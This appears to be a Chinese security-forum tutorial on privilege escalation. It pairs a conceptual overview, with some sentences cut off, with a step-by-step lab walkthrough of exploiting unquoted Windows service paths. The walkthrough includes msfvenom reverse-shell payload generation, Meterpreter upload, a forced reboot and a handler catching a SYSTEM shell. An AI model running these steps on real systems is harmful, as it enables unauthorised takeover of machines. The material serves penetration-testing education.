登录

Pentest Wiki Part5 提权

wing / 2018-01-02 09:34:00 / 浏览数 2108 新手 入门资料 顶(0) 踩(0)

---

pentest wiki part5

权限提升

■■是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是，应用程序可以获取比应用程序开

提权分类	书签
密码攻击	
媒介提权	
协议分析	
欺骗攻击	

ps:■■■■■■■■■

背景

大多数计算机系统的设计是面向着多个用户。特权表示用户被允许执行的操作。常见的特权包括查看、编辑或修改系统文件。

特权提升表示用户设法得到本不应该有的权限。这些权限可能用于删除文件、查看私人信息或者安装非法程序（如计算机病毒或恶意软件）等，也可能用来解除制造商或管理

- 垂直特权提升，是通常所指的特权提升（privilege elevation），其中较低特权的用户或应用程序将能访问为较高特权用户或应用程序保留的功能或内容（例如，网上银行用户访问到网站管理功能，或者绕过密码认证措施
- 水平特权提升，指普通用户访问到本应不能访问的为其他普通用户保留的功能或内容（例如网上银行用户A访问了用户B的网上银行账户）

垂直特权提升

例子

在某些范例中，高特权应用程序假定它只是提供与接口规范匹配的输入，并且不会验证输入。然后，攻击者可以利用这一假设，使未经授权的代码以应用程序的特权运行#
：

- 有些Windows服务是配置为在Local System用户帐户下运行。诸如缓冲区溢出等隐患可能被用来执行特权提升，从而在本地系统级别执行任意代码。除此之外，如果模拟用户时的错误处理不正确（例如，用
- 在部分旧版Microsoft Windows操作系统中，All Users的屏幕保护程序在Local System帐户下运行——任何帐户都可以替换文件系统中或注册表中的当前屏幕保护程序的可执行文件，从而提升特权。
- 在特定版本的Linux内核中，可以编写一个将当前目录设置为/etc/cron.d的程序，然后设法使当前应用被另一个进程kill并产生一个核心转储。核心转储文件被放置到程序
- 跨区域脚本是一种特权提升攻击，其中网站击破了网页浏览器的安全模型，从而可以在客户端的计算机上运行恶意代码。
- 还有一种情况是，应用程序可能使用其他高特权服务，并对客户端操控这些服务的用法有着不正确的假设。如果应用程序使用未经检查的输入作为执行的一部分，则它可
- 德州仪器计算器（特别是TI-85和TI-82）最初被设计为仅解释以TI-BASIC的方言编写的程序。但是，在用户发现可利用漏洞允许在计算器硬件上执行Z-80代码后，TI发布
- 部分iPhone版本允许未授权的用户在已锁定时访问手机。

越狱

越狱（jailbreak）是用于在类UNIX操作系统中击破chroot或jail的限制或绕过数字版权管理（DRM）的行为或工具。在前一种情况下，它允许用户查看管理员计划给应用程
Portable破解的术语。这些设备已一再遭到越狱从而为执行任意代码，供应商的更新则在封堵这些越狱途径。

> iOS系统（包括iPhone、iPad和iPod touch）自发布以来都受到过越狱的尝试，并在随着每个固件更新而修正与跟进。iOS越狱工具包含选项来安装Cydia——一个第三方的App Store，作为查找和安装系统修改器和二进制文件的一种方式。为防止iOS越狱，苹果公司已对设备的引导程序采用SHSH blob执行检查，从而禁止上传自定义内核，并防止将软件降级到较早的可越狱固件。在未受限制的越狱中，iBoot环境被更改为执行一个boot ROM漏洞，并允许提交对底层bootloader的补丁，或者hack内核以在SHSH检查后转交给越狱内核。
>
> 一种类似的越狱方法也存在于S60平台的智能手机，它涉及到在内存或已编辑固件（类似于PlayStation Portable的M33破解固件）中给已加载的特定ROM文件安装softmod式补丁来规避对未签名代码的限制。诺基亚发布了更新以遏制未经授权的越狱，方式与苹果公司类
>
> 在游戏主机上，越狱经常用于执行自制游戏。在2011年，索尼在Kilpatrick Stockton律师事务所的协助下起诉了21岁的乔治·霍兹以及为PlayStation 3越狱的fail0verflow小组的成员(见Sony Computer Entertainment America v.、George Hotz和PlayStation越狱)

缓解措施

操作系统和用户可以使用以下策略降低特权提升的风险：

- 数据执行保护

- 地址空间配置随机加载（使缓冲区溢出更难在内存中找到已知地址来执行特权指令）
- 运行的应用程序采用最小权限原则（例如不使用管理员SID运行Internet Explorer）从而减少缓冲区溢出exploits滥用高级用户特权的可能性。
- 要求内核模式代码具有数字签名。
- 使用最新的杀毒软件
- 打补丁
- 使用防止缓冲区溢出的编译器
- 软件和固件的加密。
- 使用具备强制访问控制的操作系统，例如SE Linux
  #### 水平特权提升
  当应用程序允许攻击者访问通常受到应用程序或用户保护的资源时，则发生了水平特权提升。其结果是，应用程序执行的操作与之相同，但使用或得到了与应用程序开发

例子
这个问题经常发生在网络应用程序中。考虑下列例子：

- 用户A可以在网上银行应用中访问自己的银行账户。
- 用户B可以在同一个网上银行应用中访问自己的银行账户。
- 当用户A通过某种恶意行为能访问用户B的银行账户时，则发生了此问题。
- 由于常见的Web应用程序弱点或漏洞，这种恶意活动经常出现。

可能导致此问题的潜在Web应用程序漏洞或情况包括：

- 用户的HTTP Cookie中可预测的会话ID
- 会话固定
- 跨网站脚本
- 容易猜到的密码
- 盗取或劫持会话Cookie
- 键盘监听

权限提升的手法

ps:这一部分是我自己加的，原文只有上面的介绍，也就是科普的效果，但是提权的常见思路还是要掌握。

- 先推荐一个工具：
  Windows-Exploit-Suggester

windows-privilege-escalation-methods-for-pentesters

win下的翻译是来自于这篇博客：https://pentest.blog/windows-privilege-escalation-methods-for-pentesters

想象一下，你已经在Windows机器上获得了低权限的Meterpreter会话。 可能你会运行getsystem升级你的权限。 但是如果失败呢？

莫慌。 还有一些技巧可以尝试。

<h6>Unquoted Service Paths</h6>

基本上，如果服务可执行文件路径没有用引号括起来并且包含空格，就会发生一个漏洞。
关于这个漏洞，这里有详细介绍!
要识别这些不带引号的服务，您可以在Windows命令行管理程序上运行此命令：

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
```

所有带有不带引号的可执行文件路径的服务将被列出：

```
meterpreter > shell
Process 4024 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Vulnerable Service                                Vulnerable Service                  C:\Program Files (x86)\Program Fo
C:\Users\testuser\Desktop>
```

如果您使用Regedit查看此服务的注册表项，则可以看到ImagePath值为：
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

应该是这样的：
“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”

当Windows尝试运行此服务时，它将按顺序查看以下路径，并将运行它将找到的第一个EXE：

```
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Program.exe
C:\Program Files (x86)\Program Folder\A.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
```

他的漏洞是由Windows操作系统中的CreateProcess函数引起的。
有关更多信息，[请单击阅读此文章]https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx)。

如果我们可以放弃我们的恶意exe文件成功的路径之一，一旦服务重新启动，Windows将运行我们的exe作为系统。
但是我们应该对这些文件夹中的一个具有必要的权限。

为了检查文件夹的权限，我们可以使用内置的Windows工具icals。 让我们检查C:\Program Files(x86)\Program Folder文件夹的权限：

```
meterpreter > shell
Process 1884 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
icacls "C:\Program Files (x86)\Program Folder"
C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
                                      NT SERVICE\TrustedInstaller:(I)(F)
                                      NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                      NT AUTHORITY\SYSTEM:(I)(F)
                                      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Administrators:(I)(F)
                                      BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                      BUILTIN\Users:(I)(RX)
                                      BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                      CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>
```

G00d Lucky ！ 正如你所看到的，everyone都完全控制这个文件夹。

F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

这意味着我们可以自由地把任何文件放到这个文件夹中！

从现在开始，你要做什么取决于你的想象力。 我只是喜欢生成一个反向shell 的payload作为系统运行。

MSFvenom可以用于这项工作：

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: A.exe
```

上传我们的 payload 到C:\Program Files (x86)\Program Folder 文件夹:

```
meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > cd "../../../Program Files (x86)/Program Folder"
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
===============================================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
```

```
40777/rwxrwxrwx  0     dir   2017-01-04 21:43:28 -0500  A Subfolder
meterpreter > upload -f A.exe
[*] uploading  : A.exe -> A.exe
[*] uploaded   : A.exe -> A.exe
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2017-01-04 21:43:28 -0500  A Subfolder
100777/rwxrwxrwx  73802  fil   2017-01-04 22:01:32 -0500  A.exe
meterpreter >
```

服务器重启后，A.exe将以SYSTEM身份运行。 让我们尝试停止并重新启动服务：

```
meterpreter > shell
Process 1608 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\testuser\Desktop>
```

访问被拒绝，因为我们没有权限来停止或启动服务。 但是，这并不是什么大事，我们可以等待某个人重新启动机器，或者我们可以使用shutdown命令自行完成：

```
C:\Users\testuser\Desktop>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\Desktop>
[*] 192.168.2.40 - Meterpreter session 8 closed. Reason: Died
```

正如你所看到的，我们的会话已经丢失。 别忘记我们的秘密shell。

我们的目标机器正在重新启动。 不久，我们的payload将作为系统工作。 我们应该立即启动一个处理程序。

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.40
[*] Meterpreter session 1 opened (192.168.2.60:8989 -> 192.168.2.40:49156) at 2017-01-04 22:37:17 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
[*] 192.168.2.40 - Meterpreter session 1 closed.  Reason: Died
```

现在我们已经获得了具有SYSTEM权限的Meterpreter shell。 举手击掌！

但是等一下，为什么我们的会议这么快就死了？ 我们刚刚开始！

不用担心。 这是因为，在Windows操作系统中启动服务时，它必须与服务控制管理器进行通信。 如果不是这样，服务控制管理器认为有问题，并终止该过程。

我们所需要做的是在SCM终止我们的payload之前迁移到另一个进程，或者您可以考虑使用自动迁移。

上一篇：Pentest Wiki Part... 下一篇：Pentest Wiki Part...
1. 0 条回复
   - 动动手指，沙发就是你的了！

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板